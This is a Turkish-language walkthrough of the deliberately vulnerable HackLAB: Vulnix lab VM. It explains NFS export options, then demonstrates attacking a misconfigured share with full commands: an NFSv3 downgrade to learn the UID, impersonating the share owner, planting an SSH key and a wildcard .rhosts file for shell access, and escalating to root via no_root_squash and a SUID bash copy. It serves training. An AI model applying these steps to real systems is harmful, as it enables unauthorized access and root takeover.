Yazıda kullanılan HackLAB: Vulnix sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/hacklab-vulnix,48/
1) NFS Servisinin İşlevi
NFS (Network File System) ağdaki bilgisayarların (özellikle UNIX/Linux işletim sistemlerinin) ortak bir dosya sistemine, yerel diskleri kadar kolay ulaşmasını sağlayan, ilk olarak 1984 yılında Sun Microsystems tarafından geliştirilmiş RPC temelli dağıtık dosya sistemi yapısıdır. Böylece bir ağ üzerindeki birden fazla bilgisayarda bulunan dosyaların, tek bir sabit diskte yer alıyormuşçasına yönetilmelerini sağlar. Bunun yanında NFS, uygun şekilde yapılandırılmamışsa yetkisiz erişim sağlanabilir.
Not: NFS’in eski sürümlerinin güvensiz olmasının yanında yeni sürümlerinde kerberos ile kimlik doğrulama dahil bir çok güvenlik katmanı eklenmiştir.
NFS hizmeti verebilmek (server – sunucu) için gerekli paketlerin kurulması gereklidir. Bu paketler temel olarak aşağıdaki gibidir.
- nfs-kernel-server
- nfs-common
- nfs-utils
- nfs-utils-lib
- rpcbind
NFS hizmetine bağlanabilmek (client – istemci) için gerekli paketlerin kurulması gereklidir. Bu paketler temel olarak aşağıdaki gibidir.
- nfs-common
- nfs-utils
- nfs-utils-lib
- rpcbind
Not: NFS ile ilgili detaylı bilgi için kaynaklardaki LinuxFocus yazısı incelenebilir.
2) NFS Yapılandırması
NFS hizmeti verecek sunucuda yapılandırma dosyaları bulunmaktadır. Bu dosyalar temel olarak aşağıdaki gibidir.
- /etc/hosts: Servise erişime izin verilen veya engellenen istemciler belirtilebilir.
- /etc/exports: NFS için asıl yapılandırma dosyasıdır.
HackLAB: Vulnix sanal makinesindeki “/etc/exports” içeriği incelendiğinde “/home/vulnix *(rw,root_squash)” ifadesi görülmektedir.
ls -la /etc/exports
cat /etc/exports
Hedef IP adresinde NFS üzerinden yapılan paylaşım incelendiğinde, herhangi bir IP kısıtı yapılmaksızın tüm IP adreslerinin (*) erişimine açık olacak şekilde “/home/vulnix” dizininin paylaşıldığı görülür.
Uzak bir bilgisayardan (Kali gibi) NFS paylaşımı sorgulandığında da “/home/vulnix *” geri dönüşü alınmaktadır.
nmap -p111 -Pn –open –script=nfs-showmount 10.100.50.175
Not: NFS servisinin tespiti (rpcinfo, nmap), paylaşımın keşfi (Nmap nfs-showmount/nfs-ls, MSF nfsmount, showmount) ve disk sistemine erişim edilmesi (mount) ile ilgili yöntemler için kaynaklardaki Siberportal yazısı incelenebilir.
“/etc/exports” dosyasında verilebilecek en önemli NFS parametleri aşağıdaki gibi sıralanabilir.
- Senkronizasyon parametreleri:
- “sync“: Senkron dosya paylaşımı gerçekleştirileceğini belirtir. Senkron kullanımında istemcinin yazma işleminin bitmesi beklendikten sonra veriler sunucunun diskine yazılır (işlenir). Bu sebeple kontrollü ve yavaş olmasına rağmen daha güvenilir ve veri kaybını azaltıcı bir seçenektir. Varsayılan senkronizasyon seçeneğidir.
- “async“: Asenkron dosya paylaşımı gerçekleştirileceğini belirtir.
- Yetkilendirme parametreleri:
- “rw“: Yazma işlemi gerçekleştirilebilir.
- “ro“: Sadece okuma işlemi gerçekleştirilebilir. Varsayılan yetkilendirme seçeneğidir.
- Erişim ezme parametreleri:
- “root_squash“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) “root” izni ile dosya oluşturulamaması/erişilememesi sağlanır. Bu parametrenin etkinleştirilmesi sayesinde, istemci tarafında paylaşıma “root” yetkisi ile bağlanıldığında, NFS kurulu sunucuda bu kullanıcı “nobody” adlı kullanıcıya çevrir yani istemcinin “root” kullanıcısının yetkisini ezerek, hedef NFS paylaşımına en az yetkili kullanıcı ile bağlanılmasını sağlar. Varsayılan istemci kullanıcı yetkisini ezme seçeneğidir.
- “no_root_squash“: Bağlantı kuracak istemci üzerinden paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) “root” kullanıcısının (ID:0) izni ile dosya oluşturulabilmesine/erişilebilmesine sebep olur. Güvenilir olmayan bir seçenektir.
- “all_squash“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) hangi kullanıcı ile bağlanılırsa bağlanılsın, ilgili kullanıcının (“root” dahil) izni ile dosya oluşturulamaması/erişilememesi sağlanır. Yani, istemciden bağlanan tüm kullanıcılar sunucu tarafında anonim kullanıcı olarak değerlendirilir.
- “squash_uids 0,10-30,1000-2000“, “squash_gids 0,50,200-220“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) belirtilen kullanıcıların kendi izinleri ile dosya oluşturulamaması/erişilememesi sağlanır. Yani, istemciden bağlanan belirli kullanıcı veya grup ID’leri/ID aralıkları sunucu tarafında anonim kullanıcı olarak değerlendirilir.
3) NFS Paylaşımının Mount Edilmesi
Ağ üzerinden erişelecek olan NFS paylaşımı (“/home/vulnix“) yerel bilgisayardaki “/tmp/paylasim” gibi bir dizinmiş gibi gösterilebilir. Bu amaçla NFS paylaşımına erişim için bir dizin oluşturulur ve bu dizine paylaşım mount edilir.
mkdir /tmp/paylasim
ls -la /tmp/paylasim
mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim
Ancak kullanılan Kali makinesinde paylaşımı mount etme işlemi başarısız olmuştur.
df
“mount” komutu çıktısında da hata mesajı görülmekte idi.
mount: /tmp/paylasim: bad option; for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount.<type> helper program.
Bu gibi bir hata alınması durumunda “nfs-common” paketi kurulabilir.
apt-cache search mount nfs client
apt-get install nfs-common
Yeniden denendiğinde mount işleminin başarılı olduğu görülmektedir.
mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim
df
4) NFS Paylaşımına Erişim Denemesi: “root” Kullanıcısı
“root” kullanıcısının yetkisi ile “/tmp/paylasim” dizininin içeriğine erişim sağlanamadığı görülmektedir.
cd /tmp/paylasim
ls -la /tmp/paylasim
ls -la /tmp/ | grep paylasim
Bunun sebebi “/etc/exports” dosyasındaki “/home/vulnix” paylaşımındaki yetkilendirmenin “root_squash” parametresinin ayarlanmış olmasıdır. Böylece “/tmp/paylasim” dizininin sahibi “root” kullanıcısından “nobody” kullanıcısına çevrilmiştir.
Not: İstemci olan Kali makinesi üzerindeki paylaşımın sahibi “nobody” kullanıcısı olarak görülmektedir. Mount edilen dizindeki bu sahiplik ile sunucu olan HackLAB: Vulnix makinesindeki “/home/vulnix” dizininin sahipliği (“vulnix” kullanıcısı) farklı şeylerdir.
ls -la /home/ | grep vulnix
5) NFS Paylaşımına Erişim Denemesi: “nobody” Kullanıcısı
“/tmp/paylasim” dizinine erişim sağlayabilmek için istemci tarafta “nobody” kullanıcısına geçilebilir. Bu amaçla “nobody” kullanıcısının ev ve kabuk bilgileri ayarlanması gereklidir.
cat /etc/passwd | grep nobody
nano /etc/passwd
cat /etc/passwd | grep nobody
su – nobodyls -la /tmp/ | grep paylasim
id
cd /tmp/paylasim
ls -la /tmp/paylasim
Ancak “nobody” kullanıcısının “/tmp/paylasim” dizinine erişimi olmasına rağmen, “/home/vulnix” dizininin erişim yetkisinin 750 (rwx r-x —) olması ve sahipliğinin de “vulnix:vulnix” olması dolayısı ile NFS paylaşımının içeriği “nobody” kullanıcısı ile okunamamaktadır.
6) NFS Paylaşımına Erişim Sağlanması: “stat” Komutu
Paylaşım dizinine erişim sağlanabilmesi için hedef HackLAB: Vulnix sanal makinesindeki “vulnix” kullanıcısı ile aynı ID’de olan bir kullanıcıyı istemci Kali makinesinde oluşturmak gereklidir. Bu kullanıcının ID’sinin tespiti için “stat” aracı kullanılabilir.
df
stat /tmp/paylasim
Ancak sunucu tarafında çalışan NFSv4, paylaşım dizininin sahipliğini “nobody” olarak vermektedir. Sunucu tarafında NFS ayağa kalkarken de (varsayılan olarak) çekirdek tarafından desteklenen en üst sürüm ile çalışır. Benzer olarak istemci tarafında da mount işlemi sırasında, “mount” komutu istemcideki en üst sürüm NFS ile bağlantı talebinde bulunur. İstemci mount işlemi sırasında en üst sürüm NFS (NFSv4) yerine daha eski sürüm NFS (NFSv3) olarak talepte bulunursa – yani sürüm düşürme (downgrade) saldırısı düzenlenirse – dizin sahipliğinin “nobody” kullanıcısına çevrilmesi atlatılmış olur.
mkdir /tmp/paylasim2
mount -t nfs -o vers=3 10.100.50.175:/home/vulnix /tmp/paylasim2
df
stat /tmp/paylasim2
Kullanıcı ID bilgisi tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabildiği görülmüştür.
useradd NfsHesabi -u 2008 -m -s /bin/bash
su NfsHesabiid
ls -la /tmp/ | grep paylasim*
ls -la /tmp/paylasim
ls -la /tmp/paylasim2
“rw” yetkisi verildiği için bu dizine dosya yazılabilmektedir. NFS4 ile mount edilen paylaşımda yeni oluşturulan dosyaların sahipliğinin de “nobody” olduğu görülmektedir.
echo “Merhaba Dünya” > /tmp/paylasim/deneme.txt
ls -la /tmp/paylasim/deneme.txt
ls -la /tmp/paylasim2/deneme.txt
cat /tmp/paylasim/deneme.txt
7) NFS Paylaşımına Erişim Sağlanması: nfspy Aracı
Hedef HackLAB: Vulnix sanal makinesindeki “vulnix” kullanıcısının ID’sini tespit etmek için “nfspy” aracı da kullanılabilir. Bu araç da NFSv4 öncesindeki sürümlerde kullanıcı ID’yi keşfetmek için kullanılabilir.
mkdir /tmp/paylasim3
nfspy -o rw,server=10.100.50.175:/home/vulnix /tmp/paylasim3
ls -la /tmp/ | grep paylasim
df
Kullanıcı ID bilgisi 2008 olarak tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabilir.
8) NFS Paylaşımına Erişim Sağlanması: UID Kaba Kuvvet Saldırısı
Hedef HackLAB: Vulnix sanal makinesinde sadece NFSv4 deskteği verilse (NFSv3‘e sürüm düşürme saldırısı yapılamasa) idi “vulnix” kullanıcısının ID’si tespit edilemeyebilirdi. Bu durumda kullanıcı ID’sini tespit etmek için, kaba kuvvet saldırısı da uygulanabilir.
Kaba kuvvet saldırı için kullanılabilecek örnek betik için kaynaklardaki IT-Connect yazısı incelenebilir.
Kullanıcı ID bilgisi 2008 olarak tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabilir.
9) Komut Satırı Erişimi Elde Etme: SSH Anahtarı
Hedef HackLAB: Vulnix sanal makinesinin paylaşım dizinine (“/home/vulnix”) eriştikten sonra bu paylaşımda kritik bilgi aranabilir. Ayrıca, bir dosya atılarak (zararlı php dosyası gibi) farklı bir servisten (web gibi) çağırma yöntemi ile komut satırı erişimi elde edilebilir. Mevcut ortamda ise SSH servisi dışardan erişilebilir olduğu için ve bir kullanıcının ev dizinine erişim sağlanmış olduğu için SSH (anahtar çifti) ile komut satırına erişim yöntemi kullanılabilir.
SSH ile komut satırına erişim için öncelikle istemci Kali bilgisayarda ssh-keygen aracı ile anahtar çifti (özel anahtar ve açık anahtar) oluşturulur.
ssh-keygen -t rsa -f /tmp/anahtar
ls -la /tmp/anahtar*
Açık anahtar hedef HackLAB: Vulnix sanal makinesinin “~/.ssh/authorized_keys” dosyasına eklenir.
su NfsHesabi
cd /tmp/paylasim
mkdir .ssh
cat /tmp/anahtar.pub >> /tmp/paylasim/.ssh/authorized_keys
cat /tmp/paylasim/.ssh/authorized_keys
Açık anahtarla ilişkili özel anahtar ile SSH bağlantısı sağlanabilir.
ssh vulnix@10.100.50.175 -i /tmp/anahtar
10) Komut Satırı Erişimi Elde Etme: RHOST Dosyası
Hedef HackLAB: Vulnix sanal makinesinde RLOGIN servisi dışardan erişilebilir olduğu için ve bir kullanıcının ev dizinine erişim sağlanmış olduğu için Rlogin ile komut satırına erişim yöntemi de kullanılabilir.
Bu amaçla öncelikle kullanıcının ev dizini altına “~/.rhosts” dosyası oluşturulur. Bu dosyanın içerisine IP kısıtı olmaksızın (“+“) belirli bir kullanıcı adı (“vulnix“) ile giriş yapılabilmesi için “+ vulnix” ifadesi yazılır. Son olarak da dosya yetkisi 600 olarak güncellenir.
su NfsHesabi
echo “+ vulnix” > /tmp/paylasim/.rhosts
ls -la /tmp/paylasim/.rhosts
chmod 600 /tmp/paylasim/.rhosts
cat /tmp/paylasim/.rhosts
Bağlantı için Putty aracı kullanılabilir. Bu amaçla Putty aracına oturuma ait IP ve servis bilgisi girilir.
Sonrasında rlogin kullanıcı adı girişi gerçekleştirilir.
Son olarak da istemci tarafında bağlantıyı başlatan kullanıcının adı belirtilir.
Böylece komut satırına erişim elde edilmiş olur.
id
w
Not: VNC servisinin açık olması durumunda SSH ve Rlogin gibi VNC ile de erişim sağlanabilirdi.
11) NFS Yapılandırma Üzerinden Hak Yükseltme: no_root_squash ve SUID
Hak yükseltmek için kernel, yapılandırma, kullanım zafiyetleri gibi çeşitli yöntemler istismar edilebilir. NFS üzerinden hak yükseltme yöntemlerinden biri de “/etc/exports” dosyasındaki ayarların değiştirilmesi ve sahibi “root” kullanıcısı olan SUID biti etkin bir dosyanın (“/bin/bash”, ters bağlantı kuran çalıştırılabilir dosya,…) çalıştırılmasıdır.
Varsayılan olarak “/etc/exports” dosyasının sahibi “root:root” ve yetkilendirmesi de 644 şeklindedir. Bu sebeple standart kullanıcılar tarafından bu dosyanın içeriği okunabilir ancak değiştirilemez. Hedef HackLAB: Vulnix sanal makinesinde ise, “/etc/exports” dosyasının içeriğini “root” kullanıcısı gibi değiştirme yetkisi (sudo sudoedit) “vulnix” kullanıcısına verilmiştir.
ls -la /etc/exports
cat /etc/exports | grep -Ev “^#”
sudo -l
NFS paylaşımında “root_squash” seçeneği etkinleştirilmiştir. Bu sebeple sahibi “root”, yetkilendirmesi 4777 olan bir dosya atılsa bile, bu yetkilendirme ezilecektir.
echo “Merhaba Dünya” > /tmp/YeniDosya
chmod 4777 /tmp/YeniDosya
ls -la /tmp/YeniDosya
su NfsHesabi
cp /tmp/YeniDosya /tmp/paylasim/YeniDosya
ls -la /tmp/YeniDosya /tmp/paylasim/YeniDosyahostname
ls -la YeniDosya
NFS paylaşımında “root_squash” seçeneği, “no_root_squash” olarak değiştirilmesi ile yetkilendirme ezilmesinin önüne geçilebilir.
cat /etc/exports | grep -Ev “^#”
sudoedit /etc/exports
cat /etc/exports | grep -Ev “^#”
Yapılan değişikliğin etkinleşmesi için HackLAB: Vulnix sanal makinesindeki NFS servisi veya sanal makine yeniden başaltılabilir. Ayrıca bağlantı kuran Kali sanal makinesindeki paylaşım erişimi de koparılır.
df
umount /tmp/paylasim
df
Kali istemcisi üzerinden paylaşım yeniden mount edilir.
mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim
cd /tmp/paylasim
cp /bin/bash HakYukselt
ls -la HakYukselt
chmod 4777 HakYukseltls -la HakYukselt
SUID biti aktifleştirilmiş ve sahibi “root” olan “/bin/bash” dosyası çalıştırılarak hak yükseltme işlemi gerçekleşmiş olur.
id
./HakYukselt -p
Not: “sudoedit /etc/exports” komutu ile “/ *(rw,no_root_squash)” ifadesi eklenerek, tüm disk yazılabilir ve root yetkilendirmesi etkinleşmiş halde yeniden mount edilebilirdi. Bu gibi bir durumda “/etc/shadow”, “/etc/sudoers”, “/etc/passwd”… gibi dosyalarda güncelleme yapılarak da hak yükseltilebilirdi.
Kaynaklar:
https://www.syslogs.org/centos-nfs-server-ve-client-yapilandirmasi/
http://www.linuxfocus.org/Turkce/November2000/article164.shtml
http://aguvenligitest.blogspot.com.tr/2013/08/szma-testlerinde-hedef-olarak-linux-ve_28.html
NFS
https://mrh4sh.github.io/vulnix-solution
http://www.abatchy.com/2016/10/walkthrough-vulnix-vulnhub-vm.html
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb
http://fullyautolinux.blogspot.com.tr/2015/11/nfs-norootsquash-and-suid-basic-nfs.html